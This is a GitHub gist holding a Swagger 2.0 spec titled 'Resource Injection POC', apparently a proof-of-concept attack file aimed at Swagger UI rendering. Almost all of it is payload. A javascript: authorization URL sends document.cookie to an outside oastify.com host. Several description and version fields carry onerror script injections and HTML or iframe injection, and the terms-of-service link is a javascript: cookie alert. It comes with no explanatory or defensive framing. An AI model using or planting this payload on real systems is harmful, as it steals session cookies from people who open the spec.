Skip to content

Instantly share code, notes, and snippets.

@sh4nx0r
Last active June 28, 2024 13:11
Show Gist options
  • Save sh4nx0r/f79840ff7407b179dbb306358718abc1 to your computer and use it in GitHub Desktop.
Save sh4nx0r/f79840ff7407b179dbb306358718abc1 to your computer and use it in GitHub Desktop.
swagger: '2.0'
securityDefinitions:
a:
type: oauth2
authorizationUrl: javascript:location.href='http://an1iwti6fonzqml5ihvwngy9f0lr9jx8.oastify.com?cookie='+document.cookie//
info:
version: "0.0.1 <img src='https://miro.medium.com/v2/resize:fit:743/1*N6OtdkXNnYYyDhaQkG8Ydg.jpeg'>"
title: Resource Injection POC
description: <h1>Iframe Injection</h1><img src="https://gist.githubusercontent.com/sh4nx0r/6654b12147010cef4261a52464cb596c/raw/28c842a80417139ad3af214581fd4d3d17544ec9/svgdos.svg" onerror=alert(1)>
termsOfService: "javascript:alert(document.cookie)"
paths:
/:
get:
responses:
200:
description: <img src="https://miro.medium.com/v2/resize:fit:743/1*N6OtdkXNnYYyDhaQkG8Ydg.jpeg" onerror=alert(1)>
404:
description: <img src=x onerror=alert(1)/>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment